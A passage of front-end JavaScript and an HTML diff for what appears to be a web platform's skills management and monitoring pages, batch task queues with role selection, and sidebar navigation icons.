const listScrollHeight = skillsList.scrollHeight; // 内容总高度
const listClientHeight = skillsList.clientHeight; // 可视区域高度
const hasScrollbar = listScrollHeight > listClientHeight;
// 如果列表有垂直滚动条,分页组件应该与列表内容区域对齐(clientWidth
// 如果没有滚动条,使用100%宽度
if (hasScrollbar) {
// 分页组件应该与列表内容区域对齐,不包括滚动条
paginationContainer.style.width = `${listClientWidth}px`;
} else {
// 如果没有滚动条,使用100%宽度
paginationContainer.style.width = '100%';
}
}
}
// 立即执行一次
alignPaginationWidth();
// 监听窗口大小变化和列表内容变化
const resizeObserver = new ResizeObserver(() => {
alignPaginationWidth();
});
const skillsList = document.getElementById('skills-list');
if (skillsList) {
resizeObserver.observe(skillsList);
}
}
// 改变每页显示数量
async function changeSkillsPageSize() {
const pageSizeSelect = document.getElementById('skills-page-size-pagination');
if (!pageSizeSelect) return;
const newPageSize = parseInt(pageSizeSelect.value);
if (isNaN(newPageSize) || newPageSize <= 0) return;
// 保存到localStorage
try {
localStorage.setItem('skillsPageSize', newPageSize.toString());
} catch (e) {
console.warn('无法保存分页设置到localStorage:', e);
}
// 更新分页状态
skillsPagination.pageSize = newPageSize;
// 重新计算当前页(确保不超出范围)
const totalPages = Math.ceil(skillsPagination.total / newPageSize);
const currentPage = Math.min(skillsPagination.currentPage, totalPages || 1);
skillsPagination.currentPage = currentPage;
// 重新加载数据
await loadSkills(currentPage, newPageSize);
}
// 更新skills管理统计信息
function updateSkillsManagementStats() {
const statsEl = document.getElementById('skills-management-stats');
if (!statsEl) return;
const totalEl = statsEl.querySelector('.skill-stat-value');
if (totalEl) {
totalEl.textContent = skillsPagination.total;
}
}
// 搜索skills
function handleSkillsSearchInput() {
clearTimeout(skillsSearchTimeout);
skillsSearchTimeout = setTimeout(() => {
searchSkills();
}, 300);
}
async function searchSkills() {
const searchInput = document.getElementById('skills-search');
if (!searchInput) return;
skillsSearchKeyword = searchInput.value.trim();
if (skillsSearchKeyword) {
// 有搜索关键词时,使用后端搜索API(加载所有匹配结果,不分页)
try {
const response = await apiFetch(`/api/skills?search=${encodeURIComponent(skillsSearchKeyword)}&limit=10000&offset=0`);
if (!response.ok) {
throw new Error('获取skills列表失败');
}
const data = await response.json();
skillsList = data.skills || [];
skillsPagination.total = data.total || 0;
renderSkillsList();
// 搜索时隐藏分页
const paginationContainer = document.getElementById('skills-pagination');
if (paginationContainer) {
paginationContainer.innerHTML = '';
}
// 更新统计信息(显示搜索结果数量)
updateSkillsManagementStats();
} catch (error) {
console.error('搜索skills失败:', error);
showNotification('搜索失败: ' + error.message, 'error');
}
} else {
// 没有搜索关键词时,恢复分页加载
await loadSkills(1, skillsPagination.pageSize);
}
}
// 刷新skills
async function refreshSkills() {
await loadSkills(skillsPagination.currentPage, skillsPagination.pageSize);
showNotification('已刷新', 'success');
}
// 显示添加skill模态框
function showAddSkillModal() {
const modal = document.getElementById('skill-modal');
if (!modal) return;
document.getElementById('skill-modal-title').textContent = '添加Skill';
document.getElementById('skill-name').value = '';
document.getElementById('skill-name').disabled = false;
document.getElementById('skill-description').value = '';
document.getElementById('skill-content').value = '';
modal.style.display = 'flex';
}
// 编辑skill
async function editSkill(skillName) {
try {
const response = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}`);
if (!response.ok) {
throw new Error('获取skill详情失败');
}
const data = await response.json();
const skill = data.skill;
const modal = document.getElementById('skill-modal');
if (!modal) return;
document.getElementById('skill-modal-title').textContent = '编辑Skill';
document.getElementById('skill-name').value = skill.name;
document.getElementById('skill-name').disabled = true; // 编辑时不允许修改名称
document.getElementById('skill-description').value = skill.description || '';
document.getElementById('skill-content').value = skill.content || '';
currentEditingSkillName = skillName;
modal.style.display = 'flex';
} catch (error) {
console.error('加载skill详情失败:', error);
showNotification('加载skill详情失败: ' + error.message, 'error');
}
}
// 查看skill
async function viewSkill(skillName) {
try {
const response = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}`);
if (!response.ok) {
throw new Error('获取skill详情失败');
}
const data = await response.json();
const skill = data.skill;
// 创建查看模态框
const modal = document.createElement('div');
modal.className = 'modal';
modal.id = 'skill-view-modal';
modal.innerHTML = `
<div class="modal-content" style="max-width: 900px; max-height: 90vh;">
<div class="modal-header">
<h2>查看Skill: ${escapeHtml(skill.name)}</h2>
<span class="modal-close" onclick="closeSkillViewModal()">&times;</span>
</div>
<div class="modal-body" style="overflow-y: auto; max-height: calc(90vh - 120px);">
${skill.description ? `<div style="margin-bottom: 16px;"><strong>描述:</strong> ${escapeHtml(skill.description)}</div>` : ''}
<div style="margin-bottom: 8px;"><strong>路径:</strong> ${escapeHtml(skill.path || '')}</div>
<div style="margin-bottom: 16px;"><strong>修改时间:</strong> ${escapeHtml(skill.mod_time || '')}</div>
<div style="margin-bottom: 8px;"><strong>内容:</strong></div>
<pre style="background: #f5f5f5; padding: 16px; border-radius: 4px; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;">${escapeHtml(skill.content || '')}</pre>
</div>
<div class="modal-footer">
<button class="btn-secondary" onclick="closeSkillViewModal()">关闭</button>
<button class="btn-primary" onclick="editSkill('${escapeHtml(skill.name)}'); closeSkillViewModal();">编辑</button>
</div>
</div>
`;
document.body.appendChild(modal);
modal.style.display = 'flex';
} catch (error) {
console.error('查看skill失败:', error);
showNotification('查看skill失败: ' + error.message, 'error');
}
}
// 关闭查看模态框
function closeSkillViewModal() {
const modal = document.getElementById('skill-view-modal');
if (modal) {
modal.remove();
}
}
// 关闭skill模态框
function closeSkillModal() {
const modal = document.getElementById('skill-modal');
if (modal) {
modal.style.display = 'none';
currentEditingSkillName = null;
}
}
// 保存skill
async function saveSkill() {
if (isSavingSkill) return;
const name = document.getElementById('skill-name').value.trim();
const description = document.getElementById('skill-description').value.trim();
const content = document.getElementById('skill-content').value.trim();
if (!name) {
showNotification('skill名称不能为空', 'error');
return;
}
if (!content) {
showNotification('skill内容不能为空', 'error');
return;
}
// 验证skill名称
if (!/^[a-zA-Z0-9_-]+$/.test(name)) {
showNotification('skill名称只能包含字母、数字、连字符和下划线', 'error');
return;
}
isSavingSkill = true;
const saveBtn = document.querySelector('#skill-modal .btn-primary');
if (saveBtn) {
saveBtn.disabled = true;
saveBtn.textContent = '保存中...';
}
try {
const isEdit = !!currentEditingSkillName;
const url = isEdit ? `/api/skills/${encodeURIComponent(currentEditingSkillName)}` : '/api/skills';
const method = isEdit ? 'PUT' : 'POST';
const response = await apiFetch(url, {
method: method,
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
name: name,
description: description,
content: content
})
});
if (!response.ok) {
const error = await response.json();
throw new Error(error.error || '保存skill失败');
}
showNotification(isEdit ? 'skill已更新' : 'skill已创建', 'success');
closeSkillModal();
await loadSkills(skillsPagination.currentPage, skillsPagination.pageSize);
} catch (error) {
console.error('保存skill失败:', error);
showNotification('保存skill失败: ' + error.message, 'error');
} finally {
isSavingSkill = false;
if (saveBtn) {
saveBtn.disabled = false;
saveBtn.textContent = '保存';
}
}
}
// 删除skill
async function deleteSkill(skillName) {
// 先检查是否有角色绑定了该skill
let boundRoles = [];
try {
const checkResponse = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}/bound-roles`);
if (checkResponse.ok) {
const checkData = await checkResponse.json();
boundRoles = checkData.bound_roles || [];
}
} catch (error) {
console.warn('检查skill绑定失败:', error);
// 如果检查失败,继续执行删除流程
}
// 构建确认消息
let confirmMessage = `确定要删除skill "${skillName}" 吗?此操作不可恢复。`;
if (boundRoles.length > 0) {
const rolesList = boundRoles.join('、');
confirmMessage = `确定要删除skill "${skillName}" 吗?\n\n⚠️ 该skill当前已被以下 ${boundRoles.length} 个角色绑定:\n${rolesList}\n\n删除后,系统将自动从这些角色中移除该skill的绑定。\n\n此操作不可恢复,是否继续?`;
}
if (!confirm(confirmMessage)) {
return;
}
try {
const response = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}`, {
method: 'DELETE'
});
if (!response.ok) {
const error = await response.json();
throw new Error(error.error || '删除skill失败');
}
const data = await response.json();
let successMessage = 'skill已删除';
if (data.affected_roles && data.affected_roles.length > 0) {
const rolesList = data.affected_roles.join('、');
successMessage = `skill已删除,已自动从 ${data.affected_roles.length} 个角色中移除绑定:${rolesList}`;
}
showNotification(successMessage, 'success');
// 如果当前页没有数据了,回到上一页
const currentPage = skillsPagination.currentPage;
const totalAfterDelete = skillsPagination.total - 1;
const totalPages = Math.ceil(totalAfterDelete / skillsPagination.pageSize);
const pageToLoad = currentPage > totalPages && totalPages > 0 ? totalPages : currentPage;
await loadSkills(pageToLoad, skillsPagination.pageSize);
} catch (error) {
console.error('删除skill失败:', error);
showNotification('删除skill失败: ' + error.message, 'error');
}
}
// ==================== Skills状态监控相关函数 ====================
// 加载skills监控数据
async function loadSkillsMonitor() {
try {
const response = await apiFetch('/api/skills/stats');
if (!response.ok) {
throw new Error('获取skills统计信息失败');
}
const data = await response.json();
skillsStats = {
total: data.total_skills || 0,
totalCalls: data.total_calls || 0,
totalSuccess: data.total_success || 0,
totalFailed: data.total_failed || 0,
skillsDir: data.skills_dir || '',
stats: data.stats || []
};
renderSkillsMonitor();
} catch (error) {
console.error('加载skills监控数据失败:', error);
showNotification('加载skills监控数据失败: ' + error.message, 'error');
const statsEl = document.getElementById('skills-stats');
if (statsEl) {
statsEl.innerHTML = '<div class="monitor-error">无法加载统计信息:' + escapeHtml(error.message) + '</div>';
}
const monitorListEl = document.getElementById('skills-monitor-list');
if (monitorListEl) {
monitorListEl.innerHTML = '<div class="monitor-error">无法加载调用统计:' + escapeHtml(error.message) + '</div>';
}
}
}
// 渲染skills监控页面
function renderSkillsMonitor() {
// 渲染总体统计
const statsEl = document.getElementById('skills-stats');
if (statsEl) {
const successRate = skillsStats.totalCalls > 0
? ((skillsStats.totalSuccess / skillsStats.totalCalls) * 100).toFixed(1)
: '0.0';
statsEl.innerHTML = `
<div class="monitor-stat-card">
<div class="monitor-stat-label">总Skills数</div>
<div class="monitor-stat-value">${skillsStats.total}</div>
</div>
<div class="monitor-stat-card">
<div class="monitor-stat-label">总调用次数</div>
<div class="monitor-stat-value">${skillsStats.totalCalls}</div>
</div>
<div class="monitor-stat-card">
<div class="monitor-stat-label">成功调用</div>
<div class="monitor-stat-value" style="color: #28a745;">${skillsStats.totalSuccess}</div>
</div>
<div class="monitor-stat-card">
<div class="monitor-stat-label">失败调用</div>
<div class="monitor-stat-value" style="color: #dc3545;">${skillsStats.totalFailed}</div>
</div>
<div class="monitor-stat-card">
<div class="monitor-stat-label">成功率</div>
<div class="monitor-stat-value">${successRate}%</div>
</div>
<div class="monitor-stat-card">
<div class="monitor-stat-label">Skills目录</div>
<div class="monitor-stat-value" style="font-size: 0.875rem;">${escapeHtml(skillsStats.skillsDir || '-')}</div>
</div>
`;
}
// 渲染调用统计表格
const monitorListEl = document.getElementById('skills-monitor-list');
if (!monitorListEl) return;
const stats = skillsStats.stats || [];
// 如果没有统计数据,显示空状态
if (stats.length === 0) {
monitorListEl.innerHTML = '<div class="monitor-empty">暂无Skills调用记录</div>';
return;
}
// 按调用次数排序(降序),如果调用次数相同,按名称排序
const sortedStats = [...stats].sort((a, b) => {
const callsA = b.total_calls || 0;
const callsB = a.total_calls || 0;
if (callsA !== callsB) {
return callsA - callsB;
}
return (a.skill_name || '').localeCompare(b.skill_name || '');
});
monitorListEl.innerHTML = `
<table class="monitor-table">
<thead>
<tr>
<th style="text-align: left !important;">Skill名称</th>
<th style="text-align: center;">总调用</th>
<th style="text-align: center;">成功</th>
<th style="text-align: center;">失败</th>
<th style="text-align: center;">成功率</th>
<th style="text-align: left;">最后调用时间</th>
</tr>
</thead>
<tbody>
${sortedStats.map(stat => {
const totalCalls = stat.total_calls || 0;
const successCalls = stat.success_calls || 0;
const failedCalls = stat.failed_calls || 0;
const successRate = totalCalls > 0 ? ((successCalls / totalCalls) * 100).toFixed(1) : '0.0';
const lastCallTime = stat.last_call_time && stat.last_call_time !== '-' ? stat.last_call_time : '-';
return `
<tr>
<td style="text-align: left !important;"><strong>${escapeHtml(stat.skill_name || '')}</strong></td>
<td style="text-align: center;">${totalCalls}</td>
<td style="text-align: center; color: #28a745; font-weight: 500;">${successCalls}</td>
<td style="text-align: center; color: #dc3545; font-weight: 500;">${failedCalls}</td>
<td style="text-align: center;">${successRate}%</td>
<td style="color: var(--text-secondary);">${escapeHtml(lastCallTime)}</td>
</tr>
`;
}).join('')}
</tbody>
</table>
`;
}
// 刷新skills监控
async function refreshSkillsMonitor() {
await loadSkillsMonitor();
showNotification('已刷新', 'success');
}
// 清空skills统计数据
async function clearSkillsStats() {
if (!confirm('确定要清空所有Skills统计数据吗?此操作不可恢复。')) {
return;
}
try {
const response = await apiFetch('/api/skills/stats', {
method: 'DELETE'
});
if (!response.ok) {
const error = await response.json();
throw new Error(error.error || '清空统计数据失败');
}
showNotification('已清空所有Skills统计数据', 'success');
// 重新加载统计数据
await loadSkillsMonitor();
} catch (error) {
console.error('清空统计数据失败:', error);
showNotification('清空统计数据失败: ' + error.message, 'error');
}
}
// HTML转义函数
function escapeHtml(text) {
if (!text) return '';
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
+134 -5
View File
@@ -716,23 +716,56 @@ const batchQueuesState = {
totalPages: 1
};
// 显示批量导入模态框
function showBatchImportModal() {
// 显示新建任务模态框
async function showBatchImportModal() {
const modal = document.getElementById('batch-import-modal');
const input = document.getElementById('batch-tasks-input');
const titleInput = document.getElementById('batch-queue-title');
const roleSelect = document.getElementById('batch-queue-role');
if (modal && input) {
input.value = '';
if (titleInput) {
titleInput.value = '';
}
// 重置角色选择为默认
if (roleSelect) {
roleSelect.value = '';
}
updateBatchImportStats('');
// 加载并填充角色列表
if (roleSelect && typeof loadRoles === 'function') {
try {
const loadedRoles = await loadRoles();
// 清空现有选项(除了默认选项)
roleSelect.innerHTML = '<option value="">默认</option>';
// 添加已启用的角色
const sortedRoles = loadedRoles.sort((a, b) => {
if (a.name === '默认') return -1;
if (b.name === '默认') return 1;
return (a.name || '').localeCompare(b.name || '', 'zh-CN');
});
sortedRoles.forEach(role => {
if (role.name !== '默认' && role.enabled !== false) {
const option = document.createElement('option');
option.value = role.name;
option.textContent = role.name;
roleSelect.appendChild(option);
}
});
} catch (error) {
console.error('加载角色列表失败:', error);
}
}
modal.style.display = 'block';
input.focus();
}
}
// 关闭批量导入模态框
// 关闭新建任务模态框
function closeBatchImportModal() {
const modal = document.getElementById('batch-import-modal');
if (modal) {
@@ -740,7 +773,7 @@ function closeBatchImportModal() {
}
}
// 更新批量导入统计
// 更新新建任务统计
function updateBatchImportStats(text) {
const statsEl = document.getElementById('batch-import-stats');
if (!statsEl) return;
@@ -770,6 +803,7 @@ document.addEventListener('DOMContentLoaded', function() {
async function createBatchQueue() {
const input = document.getElementById('batch-tasks-input');
const titleInput = document.getElementById('batch-queue-title');
const roleSelect = document.getElementById('batch-queue-role');
if (!input) return;
const text = input.value.trim();
@@ -788,13 +822,16 @@ async function createBatchQueue() {
// 获取标题(可选)
const title = titleInput ? titleInput.value.trim() : '';
// 获取角色(可选,空字符串表示默认角色)
const role = roleSelect ? roleSelect.value || '' : '';
try {
const response = await apiFetch('/api/batch-tasks', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ title, tasks }),
body: JSON.stringify({ title, tasks, role }),
});
if (!response.ok) {
@@ -816,6 +853,34 @@ async function createBatchQueue() {
}
}
// 获取角色图标(辅助函数)
function getRoleIconForDisplay(roleName, rolesList) {
if (!roleName || roleName === '') {
return '🔵'; // 默认角色图标
}
if (Array.isArray(rolesList) && rolesList.length > 0) {
const role = rolesList.find(r => r.name === roleName);
if (role && role.icon) {
let icon = role.icon;
// 检查是否是 Unicode 转义格式(可能包含引号)
const unicodeMatch = icon.match(/^"?\\U([0-9A-F]{8})"?$/i);
if (unicodeMatch) {
try {
const codePoint = parseInt(unicodeMatch[1], 16);
icon = String.fromCodePoint(codePoint);
} catch (e) {
// 转换失败,使用默认图标
console.warn('转换 icon Unicode 转义失败:', icon, e);
return '👤';
}
}
return icon;
}
}
return '👤'; // 默认图标
}
// 加载批量任务队列列表
async function loadBatchQueues(page) {
const section = document.getElementById('batch-queues-section');
@@ -826,6 +891,17 @@ async function loadBatchQueues(page) {
batchQueuesState.currentPage = page;
}
// 加载角色列表(用于显示正确的角色图标)
let loadedRoles = [];
if (typeof loadRoles === 'function') {
try {
loadedRoles = await loadRoles();
} catch (error) {
console.warn('加载角色列表失败,将使用默认图标:', error);
}
}
batchQueuesState.loadedRoles = loadedRoles; // 保存到状态中供渲染使用
// 构建查询参数
const params = new URLSearchParams();
params.append('page', batchQueuesState.currentPage.toString());
@@ -933,11 +1009,18 @@ function renderBatchQueues() {
const titleDisplay = queue.title ? `<span class="batch-queue-title" style="font-weight: 600; color: var(--text-primary); margin-right: 8px;">${escapeHtml(queue.title)}</span>` : '';
// 显示角色信息(使用正确的角色图标)
const loadedRoles = batchQueuesState.loadedRoles || [];
const roleIcon = getRoleIconForDisplay(queue.role, loadedRoles);
const roleName = queue.role && queue.role !== '' ? queue.role : '默认';
const roleDisplay = `<span class="batch-queue-role" style="margin-right: 8px;" title="角色: ${escapeHtml(roleName)}">${roleIcon} ${escapeHtml(roleName)}</span>`;
return `
<div class="batch-queue-item" data-queue-id="${queue.id}" onclick="showBatchQueueDetail('${queue.id}')">
<div class="batch-queue-header">
<div class="batch-queue-info" style="flex: 1;">
${titleDisplay}
${roleDisplay}
<span class="batch-queue-status ${status.class}">${status.text}</span>
<span class="batch-queue-id">队列ID: ${escapeHtml(queue.id)}</span>
<span class="batch-queue-time">创建时间: ${new Date(queue.createdAt).toLocaleString('zh-CN')}</span>
@@ -1110,6 +1193,16 @@ async function showBatchQueueDetail(queueId) {
if (!modal || !content) return;
try {
// 加载角色列表(如果还未加载)
let loadedRoles = [];
if (typeof loadRoles === 'function') {
try {
loadedRoles = await loadRoles();
} catch (error) {
console.warn('加载角色列表失败,将使用默认图标:', error);
}
}
const response = await apiFetch(`/api/batch-tasks/${queueId}`);
if (!response.ok) {
throw new Error('获取队列详情失败');
@@ -1164,12 +1257,48 @@ async function showBatchQueueDetail(queueId) {
'cancelled': { text: '已取消', class: 'batch-task-status-cancelled' }
};
// 获取角色信息(如果队列有角色配置)
let roleDisplay = '';
if (queue.role && queue.role !== '') {
// 如果有角色配置,尝试获取角色详细信息
let roleName = queue.role;
let roleIcon = '👤';
// 从已加载的角色列表中查找角色图标
if (Array.isArray(loadedRoles) && loadedRoles.length > 0) {
const role = loadedRoles.find(r => r.name === roleName);
if (role && role.icon) {
let icon = role.icon;
const unicodeMatch = icon.match(/^"?\\U([0-9A-F]{8})"?$/i);
if (unicodeMatch) {
try {
const codePoint = parseInt(unicodeMatch[1], 16);
icon = String.fromCodePoint(codePoint);
} catch (e) {
// 转换失败,使用默认图标
}
}
roleIcon = icon;
}
}
roleDisplay = `<div class="detail-item">
<span class="detail-label">角色</span>
<span class="detail-value">${roleIcon} ${escapeHtml(roleName)}</span>
</div>`;
} else {
// 默认角色
roleDisplay = `<div class="detail-item">
<span class="detail-label">角色</span>
<span class="detail-value">🔵 默认</span>
</div>`;
}
content.innerHTML = `
<div class="batch-queue-detail-info">
${queue.title ? `<div class="detail-item">
<span class="detail-label">任务标题</span>
<span class="detail-value">${escapeHtml(queue.title)}</span>
</div>` : ''}
${roleDisplay}
<div class="detail-item">
<span class="detail-label">队列ID</span>
<span class="detail-value"><code>${escapeHtml(queue.id)}</code></span>
+204 -31
View File
@@ -70,36 +70,34 @@
<nav class="main-sidebar-nav">
<div class="nav-item" data-page="chat">
<div class="nav-item-content" data-title="对话" onclick="switchPage('chat')">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"></path>
</svg>
<span>对话</span>
</div>
</div>
<div class="nav-item" data-page="tasks">
<div class="nav-item-content" data-title="任务管理" onclick="switchPage('tasks')">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M13 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<polyline points="13 2 13 9 20 9" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<line x1="9" y1="13" x2="15" y2="13" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>
<line x1="9" y1="17" x2="15" y2="17" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M9 11l3 3L22 4"></path>
<path d="M21 12v7a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h11"></path>
</svg>
<span>任务管理</span>
</div>
</div>
<div class="nav-item" data-page="vulnerabilities">
<div class="nav-item-content" data-title="漏洞管理" onclick="switchPage('vulnerabilities')">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M9 12l2 2 4-4" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"></path>
<path d="M9 12l2 2 4-4"></path>
</svg>
<span>漏洞管理</span>
</div>
</div>
<div class="nav-item nav-item-has-submenu" data-page="mcp">
<div class="nav-item-content" data-title="MCP" onclick="toggleSubmenu('mcp')">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M3 12h4l3 8 4-16 3 8h4" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M13 2L3 14h9l-1 8 10-12h-9l1-8z"></path>
</svg>
<span>MCP</span>
<svg class="submenu-arrow" width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
@@ -117,10 +115,9 @@
</div>
<div class="nav-item nav-item-has-submenu" data-page="knowledge">
<div class="nav-item-content" data-title="知识" onclick="toggleSubmenu('knowledge')">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M4 19.5A2.5 2.5 0 0 1 6.5 17H20" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M6.5 2H20v20H6.5A2.5 2.5 0 0 1 4 19.5v-15A2.5 2.5 0 0 1 6.5 2z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M10 7h6M10 11h6M10 15h4" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M2 3h6a4 4 0 0 1 4 4v14a3 3 0 0 0-3-3H2z"></path>
<path d="M22 3h-6a4 4 0 0 0-4 4v14a3 3 0 0 1 3-3h7z"></path>
</svg>
<span>知识</span>
<svg class="submenu-arrow" width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
@@ -136,11 +133,36 @@
</div>
</div>
</div>
<div class="nav-item nav-item-has-submenu" data-page="skills">
<div class="nav-item-content" data-title="Skills" onclick="toggleSubmenu('skills')">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M14.5 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7.5L14.5 2z"></path>
<polyline points="14 2 14 8 20 8"></polyline>
<line x1="16" y1="13" x2="8" y2="13"></line>
<line x1="16" y1="17" x2="8" y2="17"></line>
<polyline points="10 9 9 9 8 9"></polyline>
</svg>
<span>Skills</span>
<svg class="submenu-arrow" width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<div class="nav-submenu">
<div class="nav-submenu-item" data-page="skills-monitor" onclick="switchPage('skills-monitor')">
<span>Skills状态监控</span>
</div>
<div class="nav-submenu-item" data-page="skills-management" onclick="switchPage('skills-management')">
<span>Skills管理</span>
</div>
</div>
</div>
<div class="nav-item nav-item-has-submenu" data-page="roles">
<div class="nav-item-content" data-title="角色" onclick="toggleSubmenu('roles')">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<circle cx="12" cy="7" r="4" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
<circle cx="9" cy="7" r="4"></circle>
<path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
<path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
</svg>
<span>角色</span>
<svg class="submenu-arrow" width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
@@ -155,9 +177,9 @@
</div>
<div class="nav-item" data-page="settings">
<div class="nav-item-content" data-title="系统设置" onclick="switchPage('settings')">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12 15a3 3 0 1 0 0-6 3 3 0 0 0 0 6z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<circle cx="12" cy="12" r="3"></circle>
<path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
</svg>
<span>系统设置</span>
</div>
